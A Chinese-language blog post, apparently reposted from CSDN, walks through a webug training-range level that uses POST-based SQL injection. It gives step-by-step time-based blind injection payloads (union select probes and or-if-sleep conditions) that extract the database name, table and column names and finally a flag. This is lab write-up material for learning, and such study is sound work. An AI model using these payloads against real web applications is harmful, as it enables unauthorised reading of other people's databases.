webug--post注入

今天来到了post注入
首先我们要明确两个问题
什么是post注入
post注入是通过对输入框进行传参,可以被带入数据库进行的查询

什么条件下可以进行post注入
1.用户可以控制传参;
2.用户输入的语句被带入数据库进行查询。

ok,开始今天的练习题:
访问靶场:
在这里插入图片描述这次页面和前几关不同,明显可见有输入框。
1.寻找注入点
在输入框尝试1234,英文都没有反应

这时候我们猜测是不是搜索到了结果但是不显示,这样的话就需要特殊字符来让页面产生变化,比如报错页面之类的

在输入框输入 1’ 发现报错,然后在输入框输入 1’ # 发现页面正常返回,说明页面可能存在注入点。
在这里插入图片描述

2.找到注入点后尝试注入

既然它报错,那我们可以利用他报错这个特点先来探测出他列数,就用在显错注入说到的 union方法

输入 输出
1‘ union select 1# 页面报错
1’ union select 1,2# 页面正确显示
1’ union select 1,2,3# 页面报错

说明列数是2

根据上面的观察可以得知,搜索什么都不会显示结果,那么

1、尝试order by 显错注入不行 ,因为不会显示结果

2、布尔注入也不行,因为页面不会变化

3、延时注入可行,可通过页面打开时间来判断

接下来就让我们先试试sleep()能否行得通吧,注意:这里是post请求,所以#不必转成%23,会自动转的

输入 输出
1’ and sleep(3)# 页面正常显示
1’ or sleep(3)# 延时

因为1’为假,所以要用or连接

3.利用延时注入判断数据库长度

输入 输出
1‘ or if(length(database())>3,sleep(3),1) 延时
1‘ or if(length(database())>5,sleep(3),1) 页面正常显示
1‘ or if(length(database())=5,sleep(3),1) 延时

说明数据库的长度为5

4.利用延时注入猜解数据库名

1' or if(ascii(substr(database(),1,1))>88,sleep(3),1)#  页面正常显示
1' or if(ascii(substr(database(),1,1))>120,sleep(3),1) #  页面正常显示
                  ..................
1' or if(ascii(substr(database(),1,1))=119,sleep(3),1)# 延时

以此类推,发现第一个字母的ascii的值为119 查ascii表发现是w,

也可以用left函数

1' or if(left(database(),1)='w',sleep(3),1)#   延时
1' or left(database(),2)='we',sleep(3),1#       延时
                   ...............
1' or if(left(database(),5)='webug',sleep(3),1)#  延时

说明数据库名为webug

5.利用延时注入猜解webug下表的个数

1' or if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(3),1)#

延时,说明webug下有7个表

6.利用延时注入爆出webug下的表名
首先猜解第一个表名长度

1' or if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10,sleep(3),1)#    

页面没有延时,经过不断的更换length的值,最后得出第一个表名的长度是9

1'or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='d',sleep(3),1)#

延时,说明第一个表的第一个字符是d

1'or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='da',sleep(3),1)#

延时,说明第一个表的前两个字符是da,最终猜解出第一个表为data_crud

1'or if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),2)='en',sleep(3),1)#

延时,说明第二个表的前两个字符是en

于是可以猜解出webug下的所有表名,分别为:
data_crud,env_list,env_path,flag,sqlinjection,user,user_test

7.利用延时注入爆出env_path表下的列
首先看下有几列

1' or if((select count(column_name) from information_schema.columns where table_name='env_list')>7,sleep(3),1)#

经过猜解,得到env_list下共有8列

猜解第一列

猜解第一列的长度:

1'or if (length(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=2,sleep(3),1)#

延时,说明第一列的长度是2

猜解第一列的两个字符分别是什么

1' or if(substr(select column_name from information_schema.columns where table_name='env_list' limit 0,1),1)='i',sleep(3),1)#

说明第一列的第一个字符是i,继续猜解得到第一列的列名是id
继续猜出所有的列名:
id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

因为是第四关,所以我们要得到id=4时,envFlag里的内容,也就是flag

1' or if(left((select EnvFlag from env_list where id=4),11)='dsfasdczxcg',sleep(3),1)#

延时,得到flag!

猜你喜欢

转载自blog.csdn.net/qq_44108455/article/details/106127084
今日推荐